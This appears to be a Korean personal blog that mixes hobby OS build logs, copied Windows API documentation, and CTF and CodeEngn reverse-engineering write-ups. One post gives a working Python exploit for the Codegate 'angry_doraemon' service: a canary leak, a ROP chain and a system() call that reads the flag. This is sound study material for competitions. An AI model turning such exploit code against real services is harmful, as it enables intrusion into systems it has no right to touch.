'분류 전체보기'에 해당하는 글 176건

반응형

키보드 디바이스 드라이버를 추가해주었는데 뻑이나서.. 왜그런가 햇더니 함수명 중에

kActivateKeyboard(void)를 kActivekeyboard라고 적어놈 ㅡㅡ ;

그래서 함수를 콜해서 쓰는 부분에서 제대로 못읽어줘서 오류가낫엇음 

결과적으로 고쳐 주니 성공 

$ make all


=================== Build Boot Loader ===================


make    -C      00.BootLoader

make[1]: Entering directory '/cygdrive/c/MINT64_symnoisy/00.BootLoader'

nasm    -o      BootLoader.bin  BootLoader.asm

make[1]: Leaving directory '/cygdrive/c/MINT64_symnoisy/00.BootLoader'


=================== Build Complete ===================



=================== Build 32bit Kernel ===================


make    -C      01.Kernel32

make[1]: Entering directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32'

mkdir   -p      Temp

nasm    -o      Temp/EntryPoint.bin     Source/EntryPoint.s

=== Make Dependancy File ===

make    -C      Temp    -f      ../makefile     InternalDependency

make[2]: Entering directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32/Temp'

x86_64-pc-linux-gcc.exe -c -m32 -ffreestanding  -MM     ../Source/page.c ../Source/Main.c    >Dependency.dep

make[2]: Leaving directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32/Temp'

=== Dependancy Search Complete ==

make    -C      Temp    -f      ../makefile     Kernel32.elf

make[2]: Entering directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32/Temp'

x86_64-pc-linux-gcc.exe -c -m32 -ffreestanding  -c      ../Source/Main.c

x86_64-pc-linux-gcc.exe -c -m32 -ffreestanding  -c      ../Source/page.c

nasm    -f      elf32   -o      ModeSwitch.o    ../Source/ModeSwitch.asm

x86_64-pc-linux-ld.exe -melf_i386 -T ../elf_i386.x -nostdlib -e Main -Ttext 0x10200 -o       Kernel32.elf    Main.o page.o ModeSwitch.o

x86_64-pc-linux-ld: warning: cannot find entry symbol Main; defaulting to 0000000000010200

make[2]: Leaving directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32/Temp'

x86_64-pc-linux-objcopy -j .text -j .data -j .rodata -j .bss -S -O binary       Temp/Kernel32.elf    Temp/Kernel32.elf.bin

cat     Temp/EntryPoint.bin Temp/Kernel32.elf.bin       >       Kernel32.bin

make[1]: Leaving directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32'


=================== Build Complete ===================



=================== Build 64bit Kernel ===================


make    -C      02.Kernel64

make[1]: Entering directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64'

mkdir   -p      Temp

=== Make Dependancy File ===

make    -C      Temp    -f      ../makefile     InternalDependency

make[2]: Entering directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64/Temp'

x86_64-pc-linux-gcc.exe -c -m64 -ffreestanding  -MM     ../Source/Keyboard.c ../Source/Main.c>Dependency.dep

make[2]: Leaving directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64/Temp'

=== Dependancy Search Complete ==

make    -C      Temp    -f      ../makefile     Kernel64.elf

make[2]: Entering directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64/Temp'

nasm    -f      elf64   -o      EntryPoint.o    ../Source/EntryPoint.s

x86_64-pc-linux-gcc.exe -c -m64 -ffreestanding  -c      ../Source/Keyboard.c

x86_64-pc-linux-gcc.exe -c -m64 -ffreestanding  -c      ../Source/Main.c

nasm    -f      elf64   -o      AssemblyUtility.o       ../Source/AssemblyUtility.asm

x86_64-pc-linux-ld.exe -melf_x86_64 -T ../elf_x86_64.x -nostdlib -e Main -Ttext 0x200000     -o      Kernel64.elf    EntryPoint.o Keyboard.o Main.o AssemblyUtility.o

make[2]: Leaving directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64/Temp'

x86_64-pc-linux-objcopy -j .text -j .data -j .rodata -j .bss -S -O binary       Temp/Kernel64.elf    Kernel64.bin

make[1]: Leaving directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64'


=================== Build Complete ===================



=================== Disk Image Build Start ===================


./ImageMaker.exe        00.BootLoader/BootLoader.bin 01.Kernel32/Kernel32.bin 02.Kernel64/Kernel64.bin

[INFO] Copy boot loader to image file

[INFO] File size is aligned 512 byte

[INFO] 00.BootLoader/BootLoader.bin size = [512] and sector count = [1]

[INFO] Copy protected mode kernel to image file

[INFO] File size [2699] and fill [373] byte

[INFO] 01.Kernel32/Kernel32.bin size = [2699] and sector count = [6]

[INFO] Copy IA-32e mode kernel to image file

[INFO] File size [2738] and fill [334] byte

[INFO] 02.Kernel64/Kernel64.bin size = [2738] and sector count = [6]

[INFO] Start to write kernel information

[INFO] Total sector count except boot loader [12]

[INFO] Total sector count of protected mode kernel [6]

[INFO] Image file create complete


=================== All Build Complete ===================



================== Utility Build Start ===================


make    -C      04.Utility

make[1]: Entering directory '/cygdrive/c/MINT64_symnoisy/04.Utility'

make[1]: *** No targets specified and no makefile found.  Stop.

make[1]: Leaving directory '/cygdrive/c/MINT64_symnoisy/04.Utility'

makefile:48: recipe for target 'Utility' failed

make: *** [Utility] Error 2

~>유틸리티 부분에는 makefile 을 생성해놓지 않아서 오류가 발생하는 거라서 이전 포스팅과 같게 이부분에서는 오류가남 

반응형
,
반응형

캬 .. .드디어 성공햇습니다... 

따라만들기 수준에 그치고있는데도 코드작성이라는거 만만치가 않네요.. 

드디어 64bit로 넘어옴과 더불어 Disk.img 생성까지 모두 성공적으로 이뤄졌습니다 .. 

너무행복합니다 .. 오늘은 발뻗고 잘 수 있겟어요 ..

내일(4/8)은 코드게이트 컨퍼런스에 가야해서 ㅋㅋ 그전까지 키보드 디바이스 드라이버까지 추가시키려 합니다

슬슬 시험기간이 다가오긴 하는데 .. OS 만드는거 너무재밋네요 ... 

예전에 자꾸 뻑나서 짜증나서 64비트 진입도 못하고 접어버렷는데 ... 장벽을 드디어 허물어버렷습니다 만세 ! 

(유틸리티 부분에서 오류나는 이유는 makefile 을따로 만들어주지 않아서 그러는거라 오류가아닙니다 ㅎㅎ ) 




반응형

'과거의 컴퓨터 공부 > 64bit OS 만들기' 카테고리의 다른 글

2015.04.10  (0) 2015.04.10
키보드 디바이스 드라이버 추가  (0) 2015.04.08
2015.04.05  (0) 2015.04.05
2014.10.01 일자 현재 진행상황  (0) 2014.10.01
우분투에 크로스컴파일 설치할떄  (0) 2014.09.22
,
반응형

처음부터 다시만들면서

부트로더 ,리얼모드로의 전환, 보호모드로의 전환까지 진행하였고, 

64bit로 전환하기 전에  A20 게이트를 활성화 시켜줘서 메모리를 4GB이상 접근할수 있게 해주었으며, 

현재는 페이징기법을 활성화 시키기 직전 단계까지 다다랏다 ,... 근데 문제가 .. 

makefile 프로그램에서 뻑나는건지 아니면  어디서뻑나는건지 ..


 A20 게이트 활성화 하면서 메모리 확장 확인 소스를 추가해준 뒤부터 자꾸 Disk.img가 생성이 되지 않는다 .. 소스자체에도 문제가없는데 .. 

해결함 ) :키우는 고양이 아리가 내가 딴짓할때 makefile 프로그램에 커서가 올라가있엇는데 코드안에 스페이스 갈기고 도망갓던거엿음 ㅡㅡ ;고침




반응형
,
반응형


 □ description

==========================================

Limited processes will be generated. 

Which one has the flag?


http://58.229.183.26/files/clone_technique.exe_b9b0870fb1b877cecf5ea2ae615e12eb

==========================================


 □ number of solvers : 71

 □ breakthrough by

    1 : More Smoked Leet Chicken (02/23 02:29)

    2 : sonic (02/23 02:30)

    3 : spamandhexlite (02/23 02:47)





clone_technique.exe

Process Explorer로 확인해본결과 프로세스가 마구마구 생성된다. 근데 흰트에, 제한된 프로세스안에서 어떤 한 부분이 플래그를 갖고 있다하여서, 이부분에 초점을 맞추고 분석을 시작했다. 

그러다가 디컴파일하면서 함수들을 내려가는 도중에, 

40116F부분에서 (정확히 말하면 401169 부분과 40116F부분에서) 인위적으로 ESP를 더하고 뺌으로써,디컴파일이 되지 않는 부분이 존재했다. NOP 로 해당부분을 패치해주고 다시 디컴파일을 한 결과,

아래처럼 디컴파일이 되었고, 인위적으로 이 함수만 디컴파일이 되지않게 해논 부분이어서, 이부분에 무언가 있을것 같아 집중적으로 분석을 시작했고,  

memset((void *)sub_401070(&unk_407030, Buffer, v7), 0, 0x1Cu); 이부분을 찾아냈다. 

memset((void *)sub_401070(&unk_407030, Buffer, v7), 0, 0x1Cu); 

407030부분에서 1C(decimal:28byte) byte는 ollydbg에서 이부분에 하드웨어 브레이크를 걸고 확인을 하였고,(아래에 첨부한 그림에서 하이라이트한 부분)



IDA에서 401070함수 부분을 디컴파일하여, 복호화 루틴을 알아내었다

복호화 루틴을 알아내서..코드로 짜서 flag값을 알아내려했는데

좀더 분석해보니 다른 부분에서도 필요한 부분을 가져오고 해야해서 

messagebox()를 call 하여 flag 를 뱉어내게 하는방식으로 문제를 접근하기로 하였다. 

(복호화 코드를 짜서 풀은 사람도 많던데 검색해보면 한국인들이 writeup을써논것들 대부분이 그런식이여서 쉽게 찾아볼 수있다) 

그래서 401070 주소부분(어차피 이부분이 복호화 부분이니까)에서 맨밑으로 내리다보면 에필로그가 존재하는데,

이에필로그아래부터 적당한 크기의 int 3이 존재하여, 

(원래는 다른 적당한공간을 패치시켜서 점프시키려하였으나 에필로그 아래의 int 3 공간크기와 딱맞았다) 

이부분을 parameter와 messagebox()로 patch 시켜주었다.

패치한 방법은 아래와 같다. 어셈블 설명하는 포스팅도 아니고 하니 따로 설명은 하지 않겠다.

이부분을 패치해주면 각 프로세스마다 복호화를 진행하면서 각 프로세스마다의 값이 messagebox로 출력되게 된다.(패치해준뒤 새로운 .exe파일로 생성해주고 프로그램을 실행해주었다(디버거에서 실행한거아님))

그래서 겁나 엔터를 눌러주다보면.. 



의미있는 값을 가지는게 하나 나오는데 이것이 당시 대회때의 flag이다. 

아래의 파일은 내가 패치시켜 놓은 파일이다. 나중에 내가쓸거같아서 첨부해놈 .. 


clone_techniquepatch.exe



반응형
,
반응형


crackme_d079a0af0b01789c01d5755c885da4f6

 

□ description

==========================================

http://58.229.183.26/files/crackme_d079a0af0b01789c01d5755c885da4f6

==========================================


 □ number of solvers : 206

 □ breakthrough by

    1 : Hardc0de (02/22 09:14)

    2 : spamandhexlite (02/22 09:19)

    3 : bamb00 (02/22 09:23)




[실행 화면]

위의 첨부한 그림처럼 파일을 실행시키면, 키값을 물어보고 틀린값을 넣으면 permission denied가 뜬다.

키값을 찾는 문제라는 것을 유추할 수 있다.


64bit 의 elf fileformat 이여서, IDA로 리눅스 환경에 리모트 디버깅을 하여 문제풀이를 진행하였다.

문제자체는 생각보다 별로 어렵지 않앗다. 


 RBP를 기준으로 자꾸 뭔가하는 것을 알 수 있었다. 

그래서 RBP를 기준으로 한번 따라가보기로 하였다.(의외로 바로 답이나와버렷당 ㅎ_ㅎ) 



rbp 값을 기준으로 해서 값을 1 byte 1byte씩 읽어온다는 것을 확인할 수 있었다. 

위의 문자열은 대회 당시의 키값이다 




+) 자꾸 이런게 뜨길래 찾아봣는데 설명이 잘되있는게 있어서 아래에 첨부해둔다 (


Starting program: /root/pwn/codegatedodocrackme/c 

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fffb8ff5000


http://stackoverflow.com/questions/10505102/what-is-system-supplied-dso-that-gdb-references/10506452#10506452

http://www.trilithium.com/johan/2005/08/linux-gate/




반응형
,
반응형

사용한 기법 : memory leak + ROP 


angry_doraemon_c927b1681064f78612ce78f6b93c14d9


문제 자체는 처음 시스템 공부하기 시작할떄쯤 나 가르쳐줫던 애가 당시 대회떄 문제를 풀어서 얼핏 봣던 문제다.


 CTF 공부겸 ,, rop 이해햇는데 memory leak 기법이 이해가 안됫는데 이 문제 덕분에 memory leak이라는게 어느정도 와닿게 되었다.


 □ description

==========================================

OS : Ubuntu 13.10 x86

IP : 58.229.183.18 / TCP 8888


http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9

==========================================


 □ number of solvers : 57

 □ breakthrough by

    1 : More Smoked Leet Chicken (02/23 06:16)

    2 : ppp (02/23 06:22)

    3 : stratumauhuur (02/23 06:28)




RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE

Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   angry_doraemon_c927b1681064f78612ce78f6b93c14d9

root@symnoisy:~/pwn# file angry_doraemon_c927b1681064f78612ce78f6b93c14d9 

angry_doraemon_c927b1681064f78612ce78f6b93c14d9: setuid setgid sticky ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf16e3852cdf494e0376d99e56343aa55830a9d95, stripped


NX와 Canary가 걸려있는 것을 알 수 있다.. 다행이 PIE 는 걸려 있지 않다 

(아직 PIE 우회하는법 연구하고있는데 ... 힘들다)



[leak canary]


read 부분에서 buf가 4byte 인데, 110 byte를 입력받음 으로써 오버플로우가 발생하는 것을 알 수 있다.

하지만, 해당 파일에 카나리(SSP)가 걸려있어서 카나리 부터 알아내야 하는데,

소켓 프로그램이고, 항상 fork()로 실행하기 때문에, canary 값이 고정이다. 

또한, buf 부분과 , canary 부분 사이의 거리가 A (decimal : 10 byte, disatance : int buf ~ int v8) 이므로

buf [10byte]  | canary | 8byte | SFP | RET 

이런식으로 진행이된다. 카나리의 정보는 

v1 = sprintf(s, "You choose '%s'!\n", &buf); 

아래의 함수를 통해 memory leak을 일으켜 값을 불러올 수 있다. 

프로그램을 잘못받아서 실행이 안되나 햇는데.. 알고보니까 프로그램안에서 사용하는 txt 파일들을 따로 만들어 줘야한다 .. 아놔 ;; ;이거몰라서 오늘 하루종일 삽질햇다 

[code]

[result]

메모리릭 때문에 풀엇던 문제인데 우선 목표는 달성했다. 

(카나리값이 계속해서 바뀌는데 왠지모르겟당) 


[프로세스위의 write주소 leak + system 주소 구하기 ]

[source]


[result]


root@symnoisy:~/pwn# ldd angry_doraemon_c927b1681064f78612ce78f6b93c14d9 

linux-gate.so.1 =>  (0xb7758000)

libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb75d6000)

/lib/ld-linux.so.2 (0xb775a000)

[exploit]

[code] // 코드가 길어서 하나에 안들어가서 걍 코드로 첨부함 

from socket import *

from struct import *

import time


s=socket(AF_INET,SOCK_STREAM)

s.connect(('localhost',8888))


read_plt =0x8048620 #read@plt

write_plt=0x80486e0 #write@plt

write_got=0x804b030 #write@got

pppr=0x8048ea6 #objdump -d angrydoraemon

bss=0x804b080 #objudmp -h angrydoraemon


system_addr=0xb7680730 


canary = 0xdbf62b00

cmd ="cat flag>&4\x00"


payload =""

payload +="y"*10

payload +=pack("<L",canary)

payload +="a"*8

payload += pack("<L",read_plt)

payload += pack("<L",4)

payload += pack("<L",bss)

payload += pack("<L",len(cmd))


payload += pack("<L",system_addr)

payload += pack("<L",0xdeadbeef)

payload += pack("<L",bss)

print "[+]Hacked by symnoisy!"

s.send(payload)

s.send(cmd)

print s.recv(1024)


반응형
,
반응형

SetWindowsHookEx function

Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.

Syntax

HHOOK WINAPI SetWindowsHookEx(
  _In_  int idHook,
  _In_  HOOKPROC lpfn,
  _In_  HINSTANCE hMod,
  _In_  DWORD dwThreadId
);

Parameters

idHook [in]

Type: int

The type of hook procedure to be installed. This parameter can be one of the following values.

ValueMeaning
WH_CALLWNDPROC
4

Installs a hook procedure that monitors messages before the system sends them to the destination window procedure. For more information, see the CallWndProc hook procedure.

WH_CALLWNDPROCRET
12

Installs a hook procedure that monitors messages after they have been processed by the destination window procedure. For more information, see the CallWndRetProc hook procedure.

WH_CBT
5

Installs a hook procedure that receives notifications useful to a CBT application. For more information, see the CBTProc hook procedure.

WH_DEBUG
9

Installs a hook procedure useful for debugging other hook procedures. For more information, see the DebugProc hook procedure.

WH_FOREGROUNDIDLE
11

Installs a hook procedure that will be called when the application's foreground thread is about to become idle. This hook is useful for performing low priority tasks during idle time. For more information, see the ForegroundIdleProc hook procedure.

WH_GETMESSAGE
3

Installs a hook procedure that monitors messages posted to a message queue. For more information, see the GetMsgProc hook procedure.

WH_JOURNALPLAYBACK
1

Installs a hook procedure that posts messages previously recorded by aWH_JOURNALRECORD hook procedure. For more information, see theJournalPlaybackProc hook procedure.

WH_JOURNALRECORD
0

Installs a hook procedure that records input messages posted to the system message queue. This hook is useful for recording macros. For more information, see the JournalRecordProc hook procedure.

WH_KEYBOARD
2

Installs a hook procedure that monitors keystroke messages. For more information, see the KeyboardProc hook procedure.

WH_KEYBOARD_LL
13

Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

WH_MOUSE
7

Installs a hook procedure that monitors mouse messages. For more information, see the MouseProc hook procedure.

WH_MOUSE_LL
14

Installs a hook procedure that monitors low-level mouse input events. For more information, see the LowLevelMouseProc hook procedure.

WH_MSGFILTER
-1

Installs a hook procedure that monitors messages generated as a result of an input event in a dialog box, message box, menu, or scroll bar. For more information, see the MessageProc hook procedure.

WH_SHELL
10

Installs a hook procedure that receives notifications useful to shell applications. For more information, see the ShellProc hook procedure.

WH_SYSMSGFILTER
6

Installs a hook procedure that monitors messages generated as a result of an input event in a dialog box, message box, menu, or scroll bar. The hook procedure monitors these messages for all applications in the same desktop as the calling thread. For more information, see theSysMsgProc hook procedure.

 

lpfn [in]

Type: HOOKPROC

A pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a thread created by a different process, the lpfn parameter must point to a hook procedure in a DLL. Otherwise, lpfn can point to a hook procedure in the code associated with the current process.

hMod [in]

Type: HINSTANCE

A handle to the DLL containing the hook procedure pointed to by the lpfn parameter. The hModparameter must be set to NULL if the dwThreadId parameter specifies a thread created by the current process and if the hook procedure is within the code associated with the current process.

dwThreadId [in]

Type: DWORD

The identifier of the thread with which the hook procedure is to be associated. For desktop apps, if this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread. For Windows Store apps, see the Remarks section.

Return value

Type:

Type: HHOOK

If the function succeeds, the return value is the handle to the hook procedure.

If the function fails, the return value is NULL. To get extended error information, call GetLastError.

Remarks

SetWindowsHookEx can be used to inject a DLL into another process. A 32-bit DLL cannot be injected into a 64-bit process, and a 64-bit DLL cannot be injected into a 32-bit process. If an application requires the use of hooks in other processes, it is required that a 32-bit application call SetWindowsHookEx to inject a 32-bit DLL into 32-bit processes, and a 64-bit application call SetWindowsHookEx to inject a 64-bit DLL into 64-bit processes. The 32-bit and 64-bit DLLs must have different names.

Because hooks run in the context of an application, they must match the "bitness" of the application. If a 32-bit application installs a global hook on 64-bit Windows, the 32-bit hook is injected into each 32-bit process (the usual security boundaries apply). In a 64-bit process, the threads are still marked as "hooked." However, because a 32-bit application must run the hook code, the system executes the hook in the hooking app's context; specifically, on the thread that called SetWindowsHookEx. This means that the hooking application must continue to pump messages or it might block the normal functioning of the 64-bit processes.

If a 64-bit application installs a global hook on 64-bit Windows, the 64-bit hook is injected into each 64-bit process, while all 32-bit processes use a callback to the hooking application.

To hook all applications on the desktop of a 64-bit Windows installation, install a 32-bit global hook and a 64-bit global hook, each from appropriate processes, and be sure to keep pumping messages in the hooking application to avoid blocking normal functioning. If you already have a 32-bit global hooking application and it doesn't need to run in each application's context, you may not need to create a 64-bit version.

An error may occur if the hMod parameter is NULL and the dwThreadId parameter is zero or specifies the identifier of a thread created by another process.

Calling the CallNextHookEx function to chain to the next hook procedure is optional, but it is highly recommended; otherwise, other applications that have installed hooks will not receive hook notifications and may behave incorrectly as a result. You should call CallNextHookEx unless you absolutely need to prevent the notification from being seen by other applications.

Before terminating, an application must call the UnhookWindowsHookEx function to free system resources associated with the hook.

The scope of a hook depends on the hook type. Some hooks can be set only with global scope; others can also be set for only a specific thread, as shown in the following table.

HookScope
WH_CALLWNDPROCThread or global
WH_CALLWNDPROCRETThread or global
WH_CBTThread or global
WH_DEBUGThread or global
WH_FOREGROUNDIDLEThread or global
WH_GETMESSAGEThread or global
WH_JOURNALPLAYBACKGlobal only
WH_JOURNALRECORDGlobal only
WH_KEYBOARDThread or global
WH_KEYBOARD_LLGlobal only
WH_MOUSEThread or global
WH_MOUSE_LLGlobal only
WH_MSGFILTERThread or global
WH_SHELLThread or global
WH_SYSMSGFILTERGlobal only

 

For a specified hook type, thread hooks are called first, then global hooks. Be aware that the WH_MOUSE, WH_KEYBOARD, WH_JOURNAL*, WH_SHELL, and low-level hooks can be called on the thread that installed the hook rather than the thread processing the hook. For these hooks, it is possible that both the 32-bit and 64-bit hooks will be called if a 32-bit hook is ahead of a 64-bit hook in the hook chain.

The global hooks are a shared resource, and installing one affects all applications in the same desktop as the calling thread. All global hook functions must be in libraries. Global hooks should be restricted to special-purpose applications or to use as a development aid during application debugging. Libraries that no longer need a hook should remove its hook procedure.

Windows Store app development If dwThreadId is zero, then window hook DLLs are not loaded in-process for the Windows Store app processes and the Windows Runtime broker process unless they are installed by either UIAccess processes (accessibility tools). The notification is delivered on the installer's thread for these hooks:

  • WH_JOURNALPLAYBACK
  • WH_JOURNALRECORD
  • WH_KEYBOARD
  • WH_KEYBOARD_LL
  • WH_MOUSE
  • WH_MOUSE_LL

This behavior is similar to what happens when there is an architecture mismatch between the hook DLL and the target application process, for example, when the hook DLL is 32-bit and the application process 64-bit.

Examples

For an example, see Installing and Releasing Hook Procedures.

Requirements

Minimum supported client

Windows 2000 Professional [desktop apps only]

Minimum supported server

Windows 2000 Server [desktop apps only]

Header

Winuser.h (include Windows.h)

Library

User32.lib

DLL

User32.dll

Unicode and ANSI names

SetWindowsHookExW (Unicode) and SetWindowsHookExA (ANSI)

See also


반응형
,

GetDlgItemInt

카테고리 없음 2015. 3. 16. 11:05
반응형

CWnd::GetDlgItemInt

Visual Studio 2013

nID 로 식별되는 컨트롤의 텍스트를 가져옵니다.

UINT GetDlgItemInt(
   int nID,
   BOOL* lpTrans = NULL,
   BOOL bSigned = TRUE 
) const;

nID

변환될 대화 상자 컨트롤의 정수 식별자를 지정합니다.

lpTrans

변환된 플래그를 수신할 부울 변수를 가리킵니다.

bSigned

가져올 값이 부호 있는 값인지 여부를 지정합니다.

대화 상자 항목 텍스트의 변환된 값을 지정합니다. 0은 올바른 반환 값 이므로, 오류를 검출하려면 lpTrans을 사용해야 합니다. 부호 있는 반환 값이 필요하면, 이를 int 형식으로 캐스팅 하십시오.

해당 함수는, 변환된 숫자가 (부호 있는 숫자이면) INT_MAX 보다 또는 (부호 없는 숫자이면) UINT_MAX 보다 큰 경우, 0을 반환합니다.

숫자가 아닌 문자를 발견하거나 최대 한도를 초과하는 등의 에러가 발생하면, GetDlgItemInt 는 lpTrans가 가리키는 위치에 0을 복사합니다. 오류가 없으면, lpTrans는 0이 아닌 값을 받습니다. lpTrans 이 NULL이면, GetDlgItemInt는 에러에 대한 경고를 하지 않습니다.

이는 시작 부분의 추가 공백을 제거하고 10진수로 변환하는 방식으로, 주어진 대화 상자에 있는 지정된 컨트롤의 텍스트를 정수 값으로 변환합니다. 텍스트의 끝에 도달하거나 숫자가 아닌 어떠한 문자라도 발견하면, 해당 변환을 중지합니다.

만약 bSigned 값이 TRUE 인 경우, GetDlgItemInt는 텍스트 시작 부분의 마이너스 기호 (-)를 확인하고, 해당 텍스트를 부호 있는 숫자로 변환합니다. 그 외의 경우엔, 부호 없는 값을 만듭니다.

이는 컨트롤에 WM_GETTEXT 메시지를 보냅니다.

헤더: afxwin.h


반응형
,
반응형

Challenges : Basic 11


Author : abex


Korean 
OEP를 찾으시오. Ex) 00401000 / Stolenbyte 를 찾으시오. Ex) FF35CA204000E84D000000 
정답인증은 OEP+ Stolenbyte 
Ex ) 00401000FF35CA204000E84D000000 

English 
Find the OEP. Ex) 00401000 / Find the Stolenbyte. Ex) FF35CA204000E84D000000 
The solution should be in this format : OEP + Serial 
Ex ) 00401000FF35CA204000E84D000000 


방금전에 풀었던 level 10 문제랑 굉장히 유사하다 단지 패킹이 UPX로 되어있고, 

stolen byte가  어떤 부분인지 알아낸다는 점이 조금 다르다.

방법은 아까처럼 push AD 부분에서 ESP 부분의 주소에 하드웨어 브레이크를 걸어주고 진입한다. 

그렇게되면 아까도 말햇듯이 OEP 로 점프하는 직전 명령어 부분으로 이동한다. 

OEP 부분에서 잠깐 헤맷는데, OEP 부분에는 stolen byte를 복구해주고나서의 OEP를 적어주어야 한다.

jmp부분으로 넘어간뒤에 ctrl+A를 눌러서 어셈블리를 재분석해주면, 패킹이 해제된 데이터들을 확인할 수 있다.

stolen byte부분은 messagebox 함수의 파라미터 부분으로, 총 파라미터를 4개를 받는데,

여기서는 파라미터 3개가 OEP로 넘어가기 직전에 선언되어있다 

반응형

'과거의 컴퓨터 공부 > codeengn-basic' 카테고리의 다른 글

(codeengn)level10  (0) 2015.03.14
(codeengn)level9  (0) 2015.03.14
(CodeEngn)level8  (0) 2015.03.13
(codengn)level07  (0) 2015.03.13
(codengn)level6  (0) 2015.03.04
,
반응형

Challenges : Basic 10


Author : ArturDents


Korean 
OEP를 구한 후 "등록성공"으로 가는 분기점의 OPCODE를 구하시오. 정답인증은 OEP + OPCODE 
EX) 00400000EB03 

English 
After finding the OEP, find the OPCODE of the branch instruction going to the "goodboy routine" 
The solution should be in this format : OEP + Serial 
EX) 00400000EB03 


해당 파일은 패킹이 되어있다. 맨 처음에 문제를 접햇을때 upx 패킹 방식과 유사한 점을  볼 수 있었다.


 EP 지점에서 PUSH AD 명령을 사용 하고있어서 하드웨어 브레이크를 사용한다면 쉽게 언패킹 할수 있다 생각하여 바로 시행했다.

push AD 명령은 현재 상태에서의 모든 범용레지스터들을 스택에 쌓아놓는 명령어이다. 

upx 와 마찬가지로 esp 주소 부분에 하드웨어 브레이크를 걸고 넘어가면, 압축을 해제하고, 

OEP로 넘어가기 직전의 주소까지 한번에 접근 할 수 있다. 

OEP에 접근하고 나선 문제에서 물어보는것이 분기점의 Opcode 이므로, 해당 문자열을 찾아서,분기하는 부분의 opcode를 찾아 넣어주면 된다.   

반응형

'과거의 컴퓨터 공부 > codeengn-basic' 카테고리의 다른 글

(codeengn)level11  (0) 2015.03.15
(codeengn)level9  (0) 2015.03.14
(CodeEngn)level8  (0) 2015.03.13
(codengn)level07  (0) 2015.03.13
(codengn)level6  (0) 2015.03.04
,